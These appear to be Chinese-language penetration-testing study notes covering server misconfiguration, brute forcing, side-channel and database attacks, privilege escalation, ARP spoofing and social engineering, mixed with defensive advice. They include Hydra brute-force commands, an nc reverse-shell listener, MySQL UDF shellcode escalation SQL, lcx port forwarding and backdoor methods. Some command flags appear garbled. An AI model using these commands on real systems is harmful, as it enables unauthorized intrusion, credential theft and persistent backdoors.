网络中的钓鱼是指钓鱼式攻击,比如,攻击者模拟腾讯网站,或者一些CS架构软件,当用户使用这些软件时,攻击者可以截获用户的账户信息。
攻击者的钓鱼网站如何突破各厂商的防护措施和检测呢?使用URL跳转就是其方法之一。
WebServer远程部署
支持远程部署的web服务器很多,例如:FTP,可以直接将源码上传至服务器,然后安装,但如果远程部署配置不当,攻击者就可以通过远程部署功能入侵服务器。
通过远程部署获取webshell并不属于代码层次的漏洞,而是属于配置性错误漏洞。
Tomcat
Tomcat时Apache软件基金会jakarta项目中的一个核心项目。如果你的web appliaction存在远程部署功能,就必须设定高强度密码,如果不使用远程部署功能,就尽量删除它或者关闭它,以防被攻击者恶意利用。
JBoss
JBoss是一个基于JavaEE的开放源代码的应用服务器,是一个管理EJB的容器和服务器,支持EJB1.1,EJB2.0和EJB3.0的规范。但JBoss核心服务不包括支持Servlet/JSP的web容器,一般与Tomcat或Jetty绑定使用,可以说,Tomcat为JBoss的一个子集。
JBoss服务器默认没有密码认证策略,所以攻击者常常通过Google Hack来批量获取webshell。
为了避免出现这种低级的漏洞,服务器管理员必须要将JBoss的jmx-console密码认证开启或者删除jmx-console。
WebLogic
WebLogic是美国BEA公司出品的一个Application Server,确切的说,是一个基于Java EE架构的中间件,BEA WebLogic是用于开发,集成,部署和管理大型分布式web应用,网络应用和数据库应用的Java应用服务器。
11.实战入侵与规范
0day攻击:一般指没有公开,没有补丁的漏洞也就是未公开的漏洞。
常见的漏洞信息库:
挖掘0day的方式一般有两种:源代码审计(白盒测试)和模糊渗透测试(黑盒测试)。
源代码审计工作,代码审计人员必须了解网站的整体架构,熟读代码,并且对一些危险函数要完全了解。
对模糊渗透测试而言,无论对方是开源程序还是闭源程序,都可以进行工作,而且易于自动化我们完全可以使用工具来进行漏洞扫描,但是渗透测试也有缺点,也就是不能完全发现漏洞。
一些常见的源代码审计工具有 Source,Navigator,Fortify SCA,CheckMarx,
CodeScan,Skavenger等,但是全部都是半自动的,也就是必须要人工参与。
1.网站后台安全
1.模板
工具:WordPress
2.文件管理
工具:DedeCms
3.执行SQL语句
工具:PhpMyAdmin
4.网站备份
2.拖库
拖库就是数据库中数据的导出操作。数据导出操作主要分为两种:一种是数据库支持外连接,也就是允许客户端网络连接数据库;另一种是不允许外连接,只允许本地操作数据库。
1.支持外连接
(1)导出表结构及数据
(2)导出表数据
2.不支持外连接
(1)SQL注射
(2)越权访问
(3)本地导出
12.暴力破解测试
暴力破解也被称为枚举测试,穷举法测试,是一种针对密码破译的方法,即:将密码逐个比较,直到找出真正的密码为止。
C/S架构破解
1.SQL Server
破解数据库的工具有很多,例如:Nmap,X-scan,Hydra,CrackDB等
Hydra是著名黑客组织THC的一款开源暴力破解工具,这是一个验证性质的工具,它被设计的主要目的是:展示安全研究人员从远程获取一个系统认证权限。
Hydra目前支持的破解服务有:FTP,MSSQL,MYSQL,POP3,SSH等。
Hydra破解示例如下:
(1)破解MySQL密码
hydra.exe -L c:\user.txt -P c:\pass.txt 192.168.1.110 mysql
使用-L指定用户名文件,-P指定密码文件
(2)破解FTP密码
hydra.exe -I admin -P c:\pass.txt -t 5 192.168.1.100 ftp
使用-I指定用户名 -t指定线程
(3)破解ssh
hydra.exe -L users.txt -P password.txt -e n -t 5 -vV 192.168.1.100 ssh
使用“-e n”对空密码探测
(4)破解rdp
hydra.exe -I administrator -P c:\pass.txt www.xxser.com rdp -V
破解www.xxser.com的rdp服务,即远程桌面协议
(5)破解pop3
hydra.exe -I root -P pass.txt my.pop3.mail pop3
未指定文件路径时,Hydra将会在本目录下查找文件
2.MySQL
Medusa是迅速的,大规模并行的,模块化的暴力破解程序。Medusa的一些关键特性如下:
(1)基于线程的并行测试,可同时对多台主机进行测试
(2)模块化设计,每个服务模块作为一个独立的mod文件存在
(3)可以灵活的输入目标主机信息和测试指标
B/S架构破解
WordPress是使用PHP语言开发的博客平台,是一个免费的开源项目,用户可以使用WordPress在支持PHP和MySQL数据库的服务器上架设自己的网站。
暴力破解案例
1.攻击OA系统
搜集用户名:
(1)通过邮箱收集
(2)通过错误提示搜集
2.破解验证码
暴力破解验证码经常出现在密码找回,修改密码,交易支付等操作。
3.防止暴力破解
1.密码的重要性:
(1)对重要的应用系统,密码长度最低为6位数以上,尽量在8-12位之间
(2)绝不允许以自己的手机号码,邮箱等关键“特征”为密码
(3)用户名与密码不能有任何联系
(4)增加密码的复杂性
--至少一个小写字母
--至少一个大写字母
--至少一个数字
--至少一个特殊字符
2.验证码措施
CAPTCHA(验证码)是区分用户是“机器人”还是正常用户的一种技术,使用验证码可以有效地防止恶意破解密码
3.登录日志(限制登陆次数)
使用登录日志可以有效地防止暴力破解,登录日志意味:当用户登录时,不是直接登录,而是先在登录日志中查找用户登陆错误的次数,时间等信息,如果操作连续错误,失败,那么将采取某种措施。
13.旁注攻击
旁注攻击即攻击者在攻击目标时,对目标网站“无从下手”,找不到漏洞时,攻击者就可能会通过同一服务器的网站渗透到目标网站,从而获取目标站点的权限,这一过程就是旁注攻击的过程。
旁注攻击并不属于目标站点程序的漏洞,而是来自“外部”的攻击,另外,攻击者在进行旁注操作时,一般都会与提权技术结合在一起,旁注与提权是密不可分的。
服务端web架构
一个服务器可能存在多个网站或多个数据库,攻击者可能通过数据库提权的方式获取服务器的管理员权限。
IP逆向查询
常见的IP反差网站:
SQL跨库查询
SQL旁注即为跨库查询攻击,是管理员没有分配好数据库用户权限所导致的问题。
通常,在一个数据库中会有多名用户,用户之间互不干扰,但是如果权限分配不当,用户之间就可能存在越权操作。也被攻击者称为跨库查询。
在分配用户权限时,一定要保持一个原则:权限最小原则。即所分配的权限在不干扰程序运行的情况下,分配最小的权限。
目录越权
正常情况下,每个web应用程序都存在于一个单独的目录中,各程序之间互不干扰,独立运行。但服务器管理员配置不当时,就会发生目录越权的风险。
构造注入点
网站本身不存在注入点,而是利用其它漏洞获取的权限,这时,攻击者一般会根据对应的脚本语言来构造一个注入点,然后使用工具辅助完成后续任务。
构造注入最主要的是得到数据库的账户信息,然后使用脚本连接。
CDN
CDN的全称是Content Delivery Network,即内容分发网络。其基本思路是:尽可能地避开互联网上有可能影响数据传输速度和稳定性的瓶颈,环节,使内容的传输速度更快,更稳定。
使用CDN的效果:
-
不用担心自己网站的访客,任何时间,任何地点和任何网络运营商都能快速打开网站
-
各种服务器虚拟主机带宽等采购成本(包括后期运营成本)都会大大减少
-
有效防御SYN Flood,UDP Flood,ICMP Flood,CC等常见的DDoS攻击等,CND有一套自己的安全处理机制
-
可以阻止大部分的web攻击,如SQL注入,XSS跨站等漏洞
CDN就是将原服务器上可以缓存的文件(静态文件,图片,JS,CSS等)下载到缓存服务器,当用户在访问你的域名时,都会访问缓存服务器,而不是直接去访问源服务器。
常见的搜集真实IP的方法:
(1)phpinfo()
(2)子域名 --ping命令
(3)观察IP变化 --网站http://toolbar.netcraft.com/
14.提权
提权是将服务器的普通用户提升为管理员用户的一种操作,提权常常用于辅助旁注攻击。
攻击者对服务器提权一般分为两种:一种是溢出提权,另一种是第三方组件提权。
溢出提权
溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取root权限,其中溢出提权分为远程溢出与本地溢出。
远程溢出是指攻击者只需要与服务器建立连接,然后根据系统的漏洞,使用相应的溢出程序,即可获取到远程服务器的root权限。
本地溢出提权时,攻击者首先需要有服务器一个用户,且需要有执行权限的用户才可能发起提权。攻击者通常向服务器上传本地溢出程序,在服务器端执行。如果系统存在漏洞,那么将会溢出root权限。
1.Linxu提权
(1)查看服务器内核版本
命令:uname-a --查看内核版本
id&uname-a --查看当前用户的ID,所属群组的ID以及内核版本号
(2)本地接收服务器端数据
命令:nc -I -n -v -p 8888 --使用NC接听本地端口8888,等待服务器端反向连接
注:你的计算机IP必须为外网,否则需要端口转发
(3)服务器端Shell(执行命令通道)反弹
(4)服务器反弹shell后,就可以在本地执行一些低权限的命令,此时就相当于连接了服务器的ssh,然后将本地溢出Exp上传到服务器中执行,如果服务器存在本地溢出漏洞,将会得到一个类似root权限的SSH连接
2.Windows提权
(1)探测脚本信息
(2)执行简单的系统命令
常见的一些CMD参数:
/C --执行命令后终止
/K --执行命令后保留
/S --修改/C或/K之后的字符串处理
/Q --关闭回显
/D --禁止从注册表执行AutoRun命令
/A --使管道或文件的内部命令输出为ANSI
/U --使管道或文件的内部命令输出成为Unicode
第三方组件提权
服务器运行时可能需要很多组件支持,比如,服务器安装了。NET framew
ork,PcAnyhere,MySQL,SQL Server等组件,攻击者有可能通过这类组件进行提权操作
1.信息收集
(1)服务器支持的脚本语言
(2)服务器端口探测
探测服务器端口有三种方式:通过本地扫描,通过远程扫描以及执行系统命令等查看端口
(3)搜集路径信息
2.数据库提权
(1)SQL Server
SQL Server提权主要是依据一个特殊的存储过程:"xp_cmdshell",通过这个存储过程可以调用系统命令(只有在sysadmin权限下才可以使用)
SQL Server提权一般分为两种:注入点和得到数据库账户信息。
(2)MySQL
MySQL最常见的是UDF提权,UDF是User defined Function的缩写,即用户定义函数,详细测试步骤如下:
①CREATE TABLE TempTable(UDF BLOB) //创建临时表
②INSERT INTOtEMPTableVALUES(CONVERT(shellcode,CHAR)) //插入shellcode
③SELECT UDF FROM TempTable INTO DUMPFILE'C:\Windows\udf.dll'
//导出UDF。dll
④DROP TABLE TempTable //删除临时表
⑤create function cmdshell returns string soname 'udf.dll' //创建cmdshell函数
⑥select cmdshell('command') //执行命令
⑦drop function cmdshell //删除cmdshell函数
3.FTP提权
FTP的全称是File Transfer Protocol(文件传输协议),是在TCP/IP网络和Internet上最早使用的协议之一。
FTP服务一般运行于20与21两个端口。其中端口20用于在客户端和服务器之间传输数据流,而端口21用于传输控制流,并且是命令通向FTP服务器的进口。
FTP提权主要原因是利用FTP软件可以执行系统命令,当用户的FTP权限未配置正确,或者权限未配置正确,或者权限过大时,就可能被攻击者用来提权。
针对webshell可以利用Serv-U,FileZilla等FTP系列软件,通过这类软件添加FTP用户,再由FTP用户执行系统命令。
(1)Serv-U提权
(2)G6 FTP提权
(3)FileZilla提权
(4)FlashFXP提权
(5)PcAnywhere提权
虚拟主机提权
虚拟主机是使用特殊的软/硬件技术把一台真实的物理电脑主机分成多个逻辑存储单元,每个单元都没有物理实体,但是每个单元都能像真实的物理主机一样在网络中工作,具有单独的域名,IP地址以及完整的Internet服务器功能。
在外界看来,每一台虚拟主机与一台单独主机的表现完全相同。所以,这种被虚拟化的逻辑主机被形象的成为”虚拟主机“。
常见的虚拟主机有:星外虚拟主机,华众虚拟主机,西部数码虚拟主机,N点虚拟主机,新网虚拟主机等。
提权辅助
3389端口
3389端口是微软提供的远程桌面服务默认的端口,也常常被称作终端端口。远程桌面协议即Remote Desktop Protocol,简称为RDP
3389端口也是攻击者”喜爱“的端口之一。攻击者对主机提权后,通常会加一个隐蔽的管理员账户,然后通过3389端口连接服务器。
有些情况下,主机即使开放了终端连接端口,也无法连接,原因可能有以下几种。
- 主机在内网中
- 管理员设定了指定用户可以使用终端登录
- 做了安全策略
- 做了TCP/IP筛选
端口转发
1.LCX转发
LCX是最常见的端口转发软件之一,。首先在服务器端执行命令:
lcx -listen 500 8888 //监听500,8888端口
执行命令后,在要转发的计算机上执行以下命令:
lcx.exe -slave 服务器端IP 500 127.0.0.1 3389
//将本机的3389端口数据发送到服务器端的500端口
2.使用shell脚本自带端口转发功能
3.reDuh转发
启动项提权
windows系统在启动后可以自动加载一些软件,俗称开机启动。凡是在“C:\Documents and Settings\Administrator\ [开始] 菜单\程序\启动”目录下的程序,windows在启动后都会一一执行,利用此特性,攻击者可以进行提权操作。
DLL劫持
lpk.dll位于system32目录下,特点是每个可执行文件运行之前都要加载该文件。而windows系统是先判断当前文件目录是否存在此文件中,如果存在,则执行当前目录DLL,如果不存在,则会执行system32目录下的DLL。
这样,如果将这个lpk.dll传至任意目录,只要运行了目录中的任何exe文件,都会运行lpk.dll,如果lpk.dll是攻击者攻击过的程序,威胁就不言而喻了。
添加后门
攻击者获取到服务器权限后,常常会留下一个后门,将这台服务器变成自己的“私人用品”。接下来以windows为例介绍攻击者最常用的几种后门方式。
- 远程控制程序。攻击者在留后门时,远程控制程序是首选,特别是免杀的控制程序,即使安装了再多的杀毒软件,也没有什么用处
- 服务器管理账号后门。服务器通常开放3389端口,以便进行管理,攻击者一般都会建立一个隐藏账号,管理员是看不到的。
- 克隆账户。克隆账户也是攻击者常用的留后门手段,例如:guest用户被克隆后,当管理员查看guest用户时,它仍属于guest组,并处于禁用状态。但是guest却可以以管理员权限登录到系统。
- administrator账户密码。攻击者常常会以真正的服务器管理员身份登录服务器。攻击者最常用的手段就是劫持3389端口的登录信息,或者抓取管理员账户HASH破解密码。获取服务器管理员的密码后,攻击者也不用再去种植后门。
- 线程插入后门。线程插入后门是利用系统自身的某个服务或者线程。将后门程序插入其中,向BITS,devil5,PortLess BackDoor等都是线程插入后门。
- web后门。web后门属于文本文件,杀毒软件一般无法查杀,攻击者可以通过web后门再次提权,获取系统权限,所以,服务器管理员必须定时查杀web后门。
服务器防提权措施
- 给服务器打补丁,及时更新,杀毒软件定时杀毒(包括web杀毒)
- 关闭危险端口,如445,135等
- 删除system32目录下的敏感exe文件,如:cmd.exe,net.exe,netl.exe等
- 删除不安全的组件,很多组件都可以直接调用系统命令,如:WScript.Shell,Shell.appliaction
- 安装一些服务器安全配置软件,如安全狗,云锁,D盾等软件。
15.ARP欺骗攻击
ARP协议简介
ARP是Address Resolution Protocol(地址解析协议)的缩写。地址解析协议的基本功能就是在主机发送数据之前将目标IP转换为MAC地址,完成网络地址到物理地址的映射,以保证两台主机能够正常通信。
ARP缓存表
任何一台主机安装了TCP/IP协议都会有ARP缓存表,该表保存了这个网络(局域网)中个主机IP对应的MAC地址,ARP缓存表能够有效地保证数据传输的一对一特性。在windows中可以使用arp -a命令来查看缓存表。如果想要清空ARP缓存表,可以使用ARP -d命令,如果想删除单个条目,则可以使用arp -d ip命令。windows默认的ARP缓存项存活时间为两分钟。
ARP欺骗原理
ARP协议主要的缺陷如下:
- 由于主机不知道通信对方的MAC地址,所以才需要ARP广播请求获取。挡在广播请求时,攻击者可以伪装ARP应答,冒充真正要通信的主机,以假乱真
- ARP协议是无状态的,这就表示主机可以自由地发送ARP应答包,即使主机并未收到查询,并且任何ARP响应都是合法的,许多主机会接受未请求的ARP应答包
- 一台主机的IP被缓存在另一台主机中,它就会被当作一台可信任的主机。而计算机没有提供检验IP到MAC地址是否正确的机制。当主机接收到一个ARP应答后,主机不再考虑IP到MAC地址的真实性和有效性,而是直接将应答包中的MAC地址与对应的IP地址替换掉原有ARP缓存表的相关信息。
ARP攻击
所谓C段攻击,就是指同一网关下的主机ARP嗅探,在嗅探出敏感数据后,继续实施对目标网站的渗透。
常用的ARP欺骗工具:
-
Cain
Cain&Abel是由Oxid.it开发的一个针对Microsoft操作系统的口令恢复工具,其功能十分强大,可以进行网络嗅探,网络欺骗,破解加密口令,显示缓存口令和分析路由协议等。
-
Ettercap
Ettercap是一款强大的中间人攻击工具,可用于主机分析,嗅探,DNS欺骗等。Ettercap提供了三个接口:传统的命令行模式,图形化界面及NCURSES.
-
NetFuke
NetFuke是windows下的一款ARP欺骗嗅探测试工具。
防御ARP攻击
最常见的防御ARP攻击的方法一般有两种,一种是静态绑定,另一种是安装ARP防火墙。
静态绑定
静态绑定是指对每台主机进行IP和MAC地址静态绑定,静态绑定是防止ARP欺骗的最根本方法。
静态绑定可以通过命令arp -s实现:‘arp -s IP MAC地址’,比如,对网关的静态绑定:
arp -s 192.168.195.2 00-50-56-ee-12-6a
另外也需要网关对局域网主机进行IP->MAC地址的静态绑定,这就是双绑。
ARP防火墙
相对来说,使用ARP防火墙要比静态绑定ARP缓存表要简单的多,并且同样能有效地防止ARP攻击。
ARP防火墙有很多,常见的有金山ARP防火墙,Anti ARP Sniffer(彩影防火墙),360ARP防火墙等。
16.社会工程学
社会工程学简称社工,它是通过对受害者心理弱点,本地反应,好奇心,信任,贪婪等心理陷阱进行诸如欺骗,伤害的一种危害手段。
社会工程学经常被Hacker运用在web渗透方面,也被称为没有“技术”,却比“技术”更强大的渗透方式。
信息搜集
Whois
Whois可以用来查询域名是否已经被注册,如果已经被注册,将hi查询域名的详细信息,比如:域名注册商,域名注册日期,域名注册人联系方式等。
友情链接和联系方式
如果可以获取到邮箱地址,就可以通过whois反查的方式来确定这个邮箱到底拥有多少个网站。
当目标网站无法被攻破时,攻击者就可能会尝试对这些网站进行渗透,去寻找一些敏感信息。当攻击者有了这些信息之后,可以直接通过社工库查询出一些“密码”。
沟通
一个成功的社工师必然是一个拥有”读心术“的沟通专家,他们总是能够通过沟通得到自己想要的信息,并且社工师也必然是一个多才多艺的人,因为一个社工师可能有多个身份,而且沟通时必然要懂得一些专业术语,投其所好。
案例1:通过挂广告渗透网站
案例2:获取信任后得到服务器的密码
伪造
社工师们不但善于沟通,也善于伪造,他们为了达到目标不择手段。只要用得到,社工师都会想尽一切办法伪造。